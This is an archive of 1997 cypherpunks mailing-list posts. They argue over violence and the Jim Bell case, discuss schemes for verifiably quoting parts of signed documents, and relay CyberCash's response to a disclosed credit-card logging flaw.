MIME-Version: 1.0
Content-Type: text/plain



> [ok, there we go again... this will be my last post on the subject which
> is way-off topic by now. If it wasn't for the reference to Vichy I
> wouldn't answer on the list]

There is no such thing as an off topic post on the new cypherpunks list,
at least according to Tim May and Monty Cantsin.  Whatever interests them
is automatically on-topic.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 26 Nov 1997 09:11:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Policeman Inside
In-Reply-To: <v03102822b094c86ba119@[207.167.93.63]>
Message-ID: <19971125170054.55027@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Nov 25, 1997 at 06:15:56PM -0500, nospam-seesignature@ceddec.com wrote:
> I don't censor myself when I say that some things - especially violence -
> are evil, and perhaps even criminal, and don't support the use of
> technology to promote them.  I happen to believe this.  Saying that
> self-censorship is dishonorable presupposes a belief, even a hypocritical
> one, in honor.  When one advocates anarchy, it is hard to compose a
> meaningful insult.  When there are no rules, you cannot violate one.

However, the "anarchy" in cryptoanarchy is quite structured.  (I was
quite seriously criticized for using a dictionary definition of
anarchy, you may recall...) If there were *no* rules, then murder is
OK, and ownership means nothing.  Furthermore, cryptoanarchy requires
the sanctity of contracts, which implies a whole bunch. 

The whole notion of "the policeman inside" is stupid sloganeering.  Of
*course* we have a policeman inside -- we have something that tells us
(at least some of us) that murder, theft, and dishonesty are 
behaviors to be avoided.  We have something that tells us (some of us) 
it would be foolish to make a habit of running red lights.

> There also has been no attempt to prove that being "governed" by a bunch
> of unregulated militias would be better than what we have now.  If anyone
> wants to encourage the destruction of our society and culture, they can do
> so, but it will result in a new dark age whether it is desired or not -
> people aren't going to be designing computers when all the power plants
> and telecommunications are cut, and no raw materials can move.  All this
> crypto techonology requires an infrastructure - it doesn't work with slide
> rules and carrier pidgeons.
> 
> There are some very thoughtful people who are defending liberty, and there
> are some crazed people who I would fear in proportion to their firepower
> since they seem to lack self-control or even intelligence (McVeigh managed
> to miss those who I would assume to be his targets - the ATF and FBI
> agents).  I don't think it is wise to associate with people who like
> violence for the sake of violence with things like ideals being just an
> excuse to commit heinous crimes.  I say that I am not part of any such
> group, although many would like to lump anyone advocating the reduction of
> government power with the rabid-right.
> 
> I recognize that the FBI, etc. are becoming like the KGB - something which
> I consider to be an evil.  The last thing I want to do is imitiate them by
> wishing for the death and injury of innocents in furtherance of my causes
> - that is the method of our current government.  While I suggest that
> crimes are still crimes when committed by government, others seem to take
> government criminality as an excuse to advocate serious crimes on their
> part (or encourage other anonymous people to do).
> 
> If the response to Waco and Ruby Ridge is to descend to the level of those
> in the government who committed the crimes, then there is no moral
> difference between any such person and Horiuchi.  They simply aim at a
> different set of targets.  Maybe the Cypherpunk-militia can kill more
> innocent people than the FBI and ATF.  But would that be a victory?  Is it
> a gain to liberty to randomly kill people? 
> 
> I will tell anyone who says "I want to hurt and kill innocent people" that
> they are wrong.  If I am fighting for anything, it is for human rights.
> And I will challenge anyone who advocates the abridgement of those rights,
> even if they happen to agree with my views that cryptography enables the
> exercise of those rights.
> 
> I believe in the extensive use of crypto because I believe in human
> rights, not because it can be used to abridge those rights.  Those who use
> crypto to help commit acts of terrorism and those who use it to enslave
> citizens are on the same side.

Yep.  Actually,  I agree with every single thing you said, 
interestingly enough.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 26 Nov 1997 09:17:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Quoting Portions of a Signed Document
In-Reply-To: <199711260002.BAA28863@basement.replay.com>
Message-ID: <19971125170517.14061@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Nov 25, 1997 at 06:49:17PM -0600, William H. Geiger III wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199711260002.BAA28863@basement.replay.com>, on 11/25/97 
>    at 07:02 PM, nobody@REPLAY.COM (Anonymous) said:
> 
> >It would be nifty if there was a way to show that any continuous set of
> >bits were signed given only one signature on a whole document.
> >Intuitively, it seems to me that this might be provably inconsistent with
> >a secure hash.  Still, crypto results are full of surprises, so I could
> >imagine there is a way to do this.
> 
> Well you can do it. Wether you want to do it is another matter.
> 
> For the level of granularity you are sugesting a hash is not pratical.
> 
> You could just use RSA encryption to encrypt the message in the following
> manner:
> 
> The user encrypts the message with his *private* key. Rather than
> encrypting the entire document in one operation he would encrypt each
> [insert you level of granularity here] and then concantinate the results.
> Say we wanted a level of granularity of a word:
> 
> word1 word2 word3 word4
> 
> the resulting cypher text would be:
> 
> cypher1 cypher2 cypher3 cypher4
> 
> Now if someone wished to verifiably quote words 1,3,4 they would include
> cypher1 cypher3 cypher4 in their document.
> 
> Since cypher 1,3,4 could only be generated by original author it can be
> verified that he actually wrote those words.
> 
> At a bare minimum this would have to be done on a level of granularity of
> a sentance to have any meaning at all and even then it's relavance would
> be questioned.

The interesting case is when you do it at the granularity of the bit....

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 26 Nov 1997 08:07:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Another blast from the past
In-Reply-To: <v03102804b0995f1609b7@[207.167.93.63]>
Message-ID: <v04002700b0a0c027ccbc@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:33 pm -0500 on 11/19/97, Tim May wrote:


> Another "blast from the past." Here Bob talks about showing up in Denver
> for the visit by several heads of state, to stage some "street theater."

All perfectly legal, and probably would have been fun, had I the disposable
income or time (both of which seem to be mutual exclusive, in my life :-))
to do it...

> Odd that he suddenly gets so offended when I say a judge has committed a
> capital crime.

Especially when the judge hasn't, and especially after making vieled
intimations about Dark Times To Come, the War Being Almost Upon Us, "Lock
and Load", and all that other cruft.

BTW, I have found that most people who go around saying "Lock and Load" all
the time are posers who've never actually had to in anger, or, if they
have, they're too old to remember how, anyway... :-/.

"Semper Fi", on the other hand... :-)


> Perhaps he's just more scared now than before.

Nope. This Little Bunny Rabbit has teeth. Grrrrrr... :-).

> Or perhaps he's having
> second thoughts about things.

Nope. CryptoAnarchy Rulez, d00d... Doesn't mean I'm going to go bang the
gorilla cage at the local precinct to go make it happen by, um,
Thanksgiving.

> Or maybe he's had his visit.

I seem to have answered this previously. Twice, now.

> The simplest
> solution is the likeliest: OTR.

Now, *that*'s an Ad Hominem. *Congratulations*, Tim. (Did you read my list
of informal fallacies? I found one, you know. I even posted it to the list,
somewhere. Check the archives...)


> But there's no way in hell I'm going to expose myself to imprisonment in a
> German jail to make some metaphorical point about the resurgence of fascism
> in Germany.

Yup, it seems you'd rather do it in the comfort of your own home...

You keep throwing these low slow ones, Tim, I'll keep "blasting" them.

Maybe you should have your arm looked at. Is it bursitis? *How* would you
get *that*? ...oop... Never mind...

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 26 Nov 1997 08:02:19 +0800
To: cypherpunks@ssz.com
Subject: Re: quotes2.htm#During-the-War:
In-Reply-To: <199711250528.XAA16560@einstein.ssz.com>
Message-ID: <v0400270db0a109f514d3@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:28 am -0500 on 11/25/97, Jim Choate wrote:


>    "These are the times that try men's souls..."
>
>    This quote was written by Thomas Paine after the writing of the
>    Declaration of Independence in a forty-seven page pamphlet called
>    Common Sense. His purpose for saying this was to try to persuade the
>    Americans to demand independence, rather then try to patch up their
>    differences with Great Britain. The effect it had was it made George
>    Washington start to prepare his army.
>      _________________________________________________________________

Woops.  Saw this one last night. This one's actually written after "Common
Sense". It's from "On the Present(or American?) Crisis" or something, which
was actually written in camp, just before Washington crossed the Deleware
and started his first counteroffensive. See? The People's Television
Network's good for something. Clocks right twice a day, and all that...



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 26 Nov 1997 07:25:27 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Policeman Inside
In-Reply-To: <v03102822b094c86ba119@[207.167.93.63]>
Message-ID: <97Nov25.181712est.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



I don't censor myself when I say that some things - especially violence -
are evil, and perhaps even criminal, and don't support the use of
technology to promote them.  I happen to believe this.  Saying that
self-censorship is dishonorable presupposes a belief, even a hypocritical
one, in honor.  When one advocates anarchy, it is hard to compose a
meaningful insult.  When there are no rules, you cannot violate one.

There also has been no attempt to prove that being "governed" by a bunch
of unregulated militias would be better than what we have now.  If anyone
wants to encourage the destruction of our society and culture, they can do
so, but it will result in a new dark age whether it is desired or not -
people aren't going to be designing computers when all the power plants
and telecommunications are cut, and no raw materials can move.  All this
crypto techonology requires an infrastructure - it doesn't work with slide
rules and carrier pidgeons.

There are some very thoughtful people who are defending liberty, and there
are some crazed people who I would fear in proportion to their firepower
since they seem to lack self-control or even intelligence (McVeigh managed
to miss those who I would assume to be his targets - the ATF and FBI
agents).  I don't think it is wise to associate with people who like
violence for the sake of violence with things like ideals being just an
excuse to commit heinous crimes.  I say that I am not part of any such
group, although many would like to lump anyone advocating the reduction of
government power with the rabid-right.

I recognize that the FBI, etc. are becoming like the KGB - something which
I consider to be an evil.  The last thing I want to do is imitiate them by
wishing for the death and injury of innocents in furtherance of my causes
- that is the method of our current government.  While I suggest that
crimes are still crimes when committed by government, others seem to take
government criminality as an excuse to advocate serious crimes on their
part (or encourage other anonymous people to do).

If the response to Waco and Ruby Ridge is to descend to the level of those
in the government who committed the crimes, then there is no moral
difference between any such person and Horiuchi.  They simply aim at a
different set of targets.  Maybe the Cypherpunk-militia can kill more
innocent people than the FBI and ATF.  But would that be a victory?  Is it
a gain to liberty to randomly kill people? 

I will tell anyone who says "I want to hurt and kill innocent people" that
they are wrong.  If I am fighting for anything, it is for human rights.
And I will challenge anyone who advocates the abridgement of those rights,
even if they happen to agree with my views that cryptography enables the
exercise of those rights.

I believe in the extensive use of crypto because I believe in human
rights, not because it can be used to abridge those rights.  Those who use
crypto to help commit acts of terrorism and those who use it to enslave
citizens are on the same side.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 26 Nov 1997 08:05:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <v03020926afd30f8f70cc@[139.167.130.247]>
Message-ID: <v04002701b0a0c031cf0a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Frankly, Tim, I expected a whole lot more intelligence, and less vehemence
(well, maybe I didn't expect less vehemence :-)) in all this, and the
following is a perfect case in point.


At 1:11 pm -0500 on 11/19/97, Tim May cites the exception which proves the
rule in a feeble attempt at historical revisionism:

> At 11:38 AM -0700 6/22/97, Robert Hettinga wrote:
>
> >The reason I ask is, given events of the past few days, it may be time to
> >start standing up for our friends, no matter how unsavory their ideas.
> ...
> >Tim was talking earlier here about how this kind of accountability should
> >have been held, more stringently, for the people who burned children in
> >Waco, and who shot them at Ruby Ridge. Maybe it's time to hold people who
> >commit capital crimes on the state's behalf to understand that the legal
> >sword cuts both ways. If so, I think the best way to start this is to do it
> >in manageable increments, and ratchet up the pressure from there. To have
> >zero tolerence for even the smallest offenses, starting with the jailing of
> >Mr. Bell.


Wow, Tim. You're trying to cite this as some kind of *counter*example? It's
like you didn't even *read* the above in your following comments. You did,
didn't you? Are you deliberately making this *easy* or something?


Oh, well, here's my answer, anyway. :-).

Which is: Fine. All of the above makes sense to me. Still.

The people who committed murder at Waco and Ruby Ridge *have* committed a
capital crime. It just hasn't been proven in a court of law. Yet.

I'm saying, above, and again here, that if they break the law (notice what
I said up there about the *legal* sword cutting both ways) it's time to put
them in jail. That's still completely doable, even in the cases of the
people from Waco and Ruby Ridge who have gotten off so far. It'll just take
longer because our nation-state is in the hands of freedom-hating liberals
instead of, say, libertarians or somebody like them. People still win these
kinds of legal fights decades later, because they're right, and because, in
the end, the truth usually wins. Reality is not optional. All it takes is
determination. And maybe some money.

I'm also saying, above, that it's time to start fighting back, (legally, if
you notice :-)) when the government comes to harrass and jail people just
because they're talking about using cryptography, and, it seemed to me that
Bell's case was as good a time as any to start doing it. In other words,
"Bell's in jail. Fine. People should do what they can to get Bell out of
jail. Even if we don't like Bell."

Frankly, what we've done, myself included, hasn't been good enough, if
anyone around here crying 'apostasy' has probably noticed. Bell has sat in
jail, without bail (or anyone to bail him out, for that matter) the entire
time, and, bless his loony heart, he's probably "ratted out" half the
internet by now, and whether they believe him or not remains to be seen.
That sucks. It shouldn't have happend. To the extent that anyone doesn't
help, or at least doesn't get the truth out, they're just as responsible
for Bell sitting in jail as anyone else is. Yeah, I know. Collectivist
nonsense. Sue me. :-).


More to the point, it's still stupid, as Tim insists on doing, to try to
provoke a violent confrontation, or by threatening federal judges, or, if
no one pays attention to him then, whatever else he can think up. Frankly,
that's the kind of stuff that put Bell himself in jail. I suppose learning
would have occured out there in Corrolitos, but, apparently, it hasn't.
Heck, it's also becoming apparent, from Tim's archival scholarship, that
*reading* doesn't occur in Corrolitos, either. Spend some more time on the
john, or something, Tim.

Anyway, there are lots of better ways to fill the jails, and it seems to me
that most cypherpunks I've met aren't the "fill the jails" type, anyway.


> To paraphrase Hettinga himself, "I'm _telling!"

In a word, from Hettinga himself, "Bullshit." Here's Tim again, saying that
I'm in cahoots with Billarybub hirself.

No, Tim. I'm not a tory, or a snitch, or whatever. Nor, as you paranoiacly
insinuate later on, have I gotten The Letter, The Briefing, or The
Fucking-Anything-Else, either. You have seen here on cypherpunks all I have
said to anybody on the entire issue. Frankly, it's the only place where it
matters to say it, because *here's* where you're making such a doomsaying,
sabrerattling fool of yourself.

> It appears hear that Bob is not only posting "off subject, non-coding"
> stuff,  but that he appears to be calling for taking action against the
> officials and judges in the Bell case.

Right, Tim. Officials. Not Judges. And *legal* action, not 'executive'
action, as you and Dalton Trumbo like to put it. If some dolt at the IRS or
any other member of the alphabet soup "taskforce" that hauled Bell away
that morning actually broke the law, then they should be punished. And they
probably didn't break the law, just "aggressively enforced" it, which
probably won't land them in jail. Which, also, sounds vaguely like the
scenario that would probably happen to you yourself, if you keep rattling
their cage like Bell did.

Finally, if I talked about any 'action' at all above it was to get Bell out
of jail, which, Tim, I didn't see *you* doing anything about, either.

> >Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
> >there want to do this?
>
> "Will no one rid me of that judge?"?

Actually, what happened after that, in no particular order, and if you
remember at all (maybe you should read the archives, too, Tim :-)), is that
John Young started getting court documents the case and publishing them. I
asked here if anyone wanted to go visit Bell in jail, in exchange for free
admission to FC98, and Blanc volunteered to put together a group to go.
Only, by that time, Bell wasn't taking any visitors, was being moved, and,
now, apparently, has refused mail. Blanc, and John, and Greg Broiles, and
I, and others, have been talking about the details of all this offline. I
volunteered last week to go try to raise money to pay for the cost of
documents, etc., and John said that the cost isn't that much, so far. And,
of course, Blanc still gets in free at FC98. :-).

Frankly, it's a shame that it wasn't possible to get Bell some legal
representation, because, clearly, he needed it, as anyone here would
probably agree by now. Doesn't matter if you disagree with Bell, or with
using lawyers for that matter. :-). If Bell had been able to stay out of
the clutches of the jailers (and social workers :-)), he probably wouldn't
be as messed up as he probably is by now, and, "Thanksgiving cypherpunk
massacre" or no, he might now be turning in anyone he can think of to get
out. Being stuck with a bunch of social workers and psychiatrists may do
that to a body...


Being prepared to contribute for lawyers for other people, is, by the way,
what people should now be thinking about, in case some other person, even
another indigent loon like Bell, gets hauled in. Think about it as legal
insurance? Yeah, I know. Collectivist nonsense. It's far better to hole up
on a hillside and pump a few more hundred rounds through your Glock
instead, right? Anything but figuring out how to get code written, anyway
:-).

> Physician, heal thyself.

Take a physic yourself, Tim. Maybe it'll improve your ability to read, if
not your disposition. :-).



One more thing, to everyone else. It sucks that we have to mess around with
lawyers at all. The solution is code, not lawyers. Right?

I mean, maybe it makes more sense to just cut people like Bell off and let
them flap in the breeze.

Triage. Evolution in action.

"They aren't *really* cypherpunks" sounds like an awfully good answer, but,
to follow on to what I said in the original posting, anyone who talks about
cypherpunk ideas here, much less goes out and (apparently) tries to use
them, is probably going to call themselves a cypherpunk, whether the rest
of us on the list claim those people or not. Certainly, when these people
find themselves in jail for one reason or another, especially if the
prosecution goes on a crypto witch hunt, those folks going to "reach out"
and claim us, whether we want them to or not, as Bell's case may still, in
the faintest possibility, turn out to show us. And no, I still don't think
the Alphabet Gang is decending on Corrolitos this Thursday, just because
Tim says so.


So, what I'm talking about here, maybe some kind of cryptography defense
fund, is not offense, it's defense, self-defense, like some people keep a
gun for self-defense. A defense of cryptography itself, if you will. Not
only to prevent cryptographic abolition laws by going to court to overturn
them, but, much more useful, to make sure that whatever cryptographic
component of someone's otherwise criminal activities, (like Bell's
Assassination Politics essay, versus his alleged physical attacks on IRS
and law offices) is not used as a pretext to prevent strong cryptography
from happening, much less to exacerbate that person's legal circumstances.

Let me know, offline, if you're interested in this. Like any of my other
crazy ideas, if enough people are interested, then it might be worth trying
to do, and we can put together something more um, restrained than yet
another broadside in this seemingly endless flamefest.





Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 26 Nov 1997 09:10:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Quoting Portions of a Signed Document
In-Reply-To: <199711260002.BAA28863@basement.replay.com>
Message-ID: <199711260102.UAA25089@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711260002.BAA28863@basement.replay.com>, on 11/25/97 
   at 07:02 PM, nobody@REPLAY.COM (Anonymous) said:

>It would be nifty if there was a way to show that any continuous set of
>bits were signed given only one signature on a whole document.
>Intuitively, it seems to me that this might be provably inconsistent with
>a secure hash.  Still, crypto results are full of surprises, so I could
>imagine there is a way to do this.

Well you can do it. Wether you want to do it is another matter.

For the level of granularity you are sugesting a hash is not pratical.

You could just use RSA encryption to encrypt the message in the following
manner:

The user encrypts the message with his *private* key. Rather than
encrypting the entire document in one operation he would encrypt each
[insert you level of granularity here] and then concantinate the results.
Say we wanted a level of granularity of a word:

word1 word2 word3 word4

the resulting cypher text would be:

cypher1 cypher2 cypher3 cypher4

Now if someone wished to verifiably quote words 1,3,4 they would include
cypher1 cypher3 cypher4 in their document.

Since cypher 1,3,4 could only be generated by original author it can be
verified that he actually wrote those words.

At a bare minimum this would have to be done on a level of granularity of
a sentance to have any meaning at all and even then it's relavance would
be questioned.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNHt00o9Co1n+aLhhAQHrKwP/SfQYrH07AA1WxJa/atnYfrnlkORgsevK
eO0EDDBcz3XIwBWP43y1l8XqRcK0F5sLjdQ6L0s8t9CmqH4N00awfM8UlN7bm69s
9AGuJwA1/UanfOi6TDXclvKJYgMCRerP0X+Yvr04gePObITYOrMKZUbDdYnO/70Y
2EpPAbaPcg4=
=5HsX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 26 Nov 1997 02:37:47 +0800
To: cypherpunks@cyberpass.net
Subject: New free speech oriented civil rights site
Message-ID: <199711251805.TAA11764@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> Civil rights Web site to fight cyberhate
> 
> November 24, 1997
> Web posted at: 6:01 p.m. EST (2301 GMT) 
> 
> WASHINGTON (AP) -- Responding to President Clinton's call to fight hate
> crime, the nation's largest civil rights coalition and a regional Bell
> telephone company have created a Web site designed to combat Internet
> hate speech.
> 
> The Leadership Conference on Civil Rights said Monday the site --
> www.civilrights.org -- was developed and will be maintained for two
> years with a $100,000 contribution from Bell Atlantic.
> 
> <snip>
> 
> Wade Henderson, LCCR executive director, said the idea to create a Web
> site was triggered by a proliferation of Internet hate speech by groups
> such as the Ku Klux Klan and White Aryan Resistance.

...and some cypherpunks?

> Bell Atlantic chairman Ray Smith cited a study by the Anti-Defamation
> League showing the number of hate sites on the Internet has doubled to
> 250 in the past year. He called the new site "an antidote for poison."
> 
> The idea is to "counter the frightening espousal of hatred and violence
> against Americans because of their race, gender, religious or sexual
> orientation," he said.

Not to mention nationality.  "You go, chop chop," says Tim May, making fun
of someone apparently from Japan.

> Henderson said hate groups have become more sophisticated in communicating
> their doctrines and recruiting. "Instead of the street, they recruit on
> the net," he explained.
> 
> There is also concern for the First Amendment protection of free speech,
> Henderson said. "This Web site will respond to hate with information
> and competing ideas without seeking to restrict Internet speech."
> 
> In addition to providing information on hate crimes around the country,
> the site will explain various strategies to address those crimes and offer
> materials for young people, parents and teachers to encourage diversity.

Cypherpunks other than May, Geiger, and the despicable Vulis will
welcome a new civil rights effort which is built around respect for
freedom of speech.

Cypherpunk technologies will be a major force to eliminate racism.
With privacy protected transactions, the color of a person's skin, his
religion and his ethnicity are no longer apparent.  People will be able
to succeed on merit - and not the "good old boys" definition of merit,
where somehow only white males seem to have what it takes.

Cypherpunks need to build bridges to minority communities, to show them
how these technologies can advance their cause.  Racist comments by
supposedly respected list members are harmful and must be countered in
order to show that these views do not reflect the feelings of most
cypherpunks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Christian Goetze <cg@miaow.com>
Date: Wed, 26 Nov 1997 11:39:10 +0800
To: Glenn Hauman <cypherpunks@toad.com
Subject: Re: Microsoft's compelled speech, compelled marketing
Message-ID: <3.0.32.19971125191525.00940450@shell5.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:04 PM 11/25/97 -0500, Glenn Hauman wrote:
>
>At 12:40 PM -0500 11/25/97, Declan McCullagh wrote:
>
>>Former NY Times and Newseek reporter David Burnham writes in his book about
>>the Justice Department: "The record is clear. Political campaign
>>contributions, personal bribes and other direct and indirect favors have
>>frequently influenced important Justice Department disions about the
>>enforcement of law... Virtually every administration has demanded that the
>>Justice Department bend the law..."
>
>Hold it-- are you suggesting that the DOJ is being restrained in going
>after Microsoft? By who?
I suppose that the slant was more like this: either Microsoft pays up and
gets a restrained treatment from the DOJ or else...
--
cg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 26 Nov 1997 22:05:42 +0800
To: cypherpunks@cyberpass.net
Subject: official CyberCash response
Message-ID: <v04002712b0a11912a1de@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: cme@cybercash.com
Date: Tue, 25 Nov 1997 15:37:14 -0500
To: rah@shipwright.com
From: Carl Ellison <cme@cybercash.com>
Subject: official CyberCash response
Cc: cme@cybercash.com
Mime-Version: 1.0

If you know of any lists where the message appeared but the official
response didn't, you're welcome to post the following.

 - Carl

	--------------------------------------------

[The following should appear in its entirety if it's printed at all.]

The following message appeared on the net.

From: Anonymous <anon@ANON.EFGA.ORG>
Subject:      Major security flaw in Cybercash 2.1.2
To: BUGTRAQ@NETSPACE.ORG

CyberCash v. 2.1.2 has a major security flaw that causes all credit
card information processed by the server to be logged in a file with
world-readable permissions.  This security flaw exists in the default
CyberCash installation and configuration.

The flaw is a result of not being able to turn off debugging.  Setting
the "DEBUG" flag to "0" in the configuration files simply has no
effect on the operation of the server.

In CyberCash's server, when the "DEBUG" flag is on, the contents of
all credit card transactions are written to a log file (named
"Debug.log" by default).

The easiest workaround I've found is to simply delete the existing
Debug.log file.  In my experience with the Solaris release, the
CyberCash software does not create this file at start time when the
DEBUG flag is set to 0.

The inability to turn off debugging is noted on CyberCash's web site
under "Known Limitations".  The fact that credit card numbers are
stored in the clear, in a world readable file, is not.

We have taken this quite seriously and have put through a full release of
our software which will be available Monday 11/24 for three platforms and
others shortly thereafter. The flaw was in the debug logging function, not
in the protocols or core implementation.  Nonetheless, the effect was an
unnecessary exposure of potentially sensitive information, and it shouldn't
have gone out the door that way.  We're tightening our internal processes
to avoid this in the future.

That said, here's the actual exposure.  The credit card information that's
in the clear in the log comes from "merchant-initiated" transactions, which
means the merchant obtains the credit card number from somewhere -- phone,
mail, fax, SSL-protected Internet interaction, or unprotected Internet
interaction.  The merchant thus has the same info in the clear already.

If the card number was provided via a wallet, then the card number is
blinded at the consumer's end.  It is therefore not in the clear as it
passes through the merchant's machine and the reported exposure does not
apply..

In order for the unprotected log to pose a risk of exposure, someone has to
be able to gain access to the merchant's machine.  If the machine is well
protected, viz behind a firewall and/or carefully configured, presumably an
outsider won't be able to gain access.  And in terms of the *additional*
exposure the open log represents over existing risks, if the same
information is accessible in the clear elsewhere on the machine,
eliminating from the log or encrypting the log provides little or no real
protection.  We continue to advise merchants to take strong steps to
protect their machines.

To our knowledge, the exposure documented above has not resulted in the
actual loss of any customer data or other security incident.


----------------------------------
Steve Crocker                                   Desk:  +1 703 716 5214
CyberCash, Inc.                                 Main:  +1 703 620 4200
2100 Reston Parkway                             Fax:   +1 703 620 4215
Reston, VA 20191                                crocker@cybercash.com





--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 26 Nov 1997 11:54:43 +0800
To: Glenn Hauman <hauman@bb.com>
Subject: Re: Microsoft's compelled speech, compelled marketing
In-Reply-To: <v03007801b0a13368fd09@[166.84.212.167]>
Message-ID: <Pine.GSO.3.95.971125193625.11940B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



My point is the same as Ed Black's, and (I believe) David Burnham's: 
Antitrust investigations as important as this one cannot be divorced from
politics. I suppose a corollary to that is that MSFT's competitors should
be wary of calling for the Feds to step in; that can backfire when MSFT
increases its lobbying efforts and turns the tables.

-Declan

On Tue, 25 Nov 1997, Glenn Hauman wrote:

> At 12:40 PM -0500 11/25/97, Declan McCullagh wrote:
> 
> >Former NY Times and Newseek reporter David Burnham writes in his book about
> >the Justice Department: "The record is clear. Political campaign
> >contributions, personal bribes and other direct and indirect favors have
> >frequently influenced important Justice Department disions about the
> >enforcement of law... Virtually every administration has demanded that the
> >Justice Department bend the law..."
> 
> Hold it-- are you suggesting that the DOJ is being restrained in going
> after Microsoft? By who?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Wed, 26 Nov 1997 10:00:58 +0800
Subject: Re: Quoting Portions of a Signed Document
In-Reply-To: <199711252109.WAA05443@basement.replay.com>
Message-ID: <Pine.OSF.3.96.971125185947.22431D-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



> It would be neat if you could quote people and prove that they signed
> the particular paragraph quoted without supplying the entire text.  Is
> there a way to do this? 

Yes. To do it using standard proggies, hash each of your paragraphs and put the
results in a PGP-signed message. Quoter provides signature and signed hashes. 
Reader hashes your quoted paragraph and checks the signed message to see if it
was one of the original paragraphs. So simple I can do it. :) 

[Disclaimer: I think.]

A more cool-sounding solution would be to concatenate those hashes and sign
them (not a hash of them) as one packet. Since RSA sigs are secret-key
decryptions (right?), the reader can re-encrypt it and check any individual
hash. Not more secure, though, and it takes a lot of processor time.

No idea how to do it with bit-level granularity.

> (It seems impossible, but so does mental poker.) 

Mental poker? Easy.

> 
> A crude approach would be to sign every paragraph or line separately,
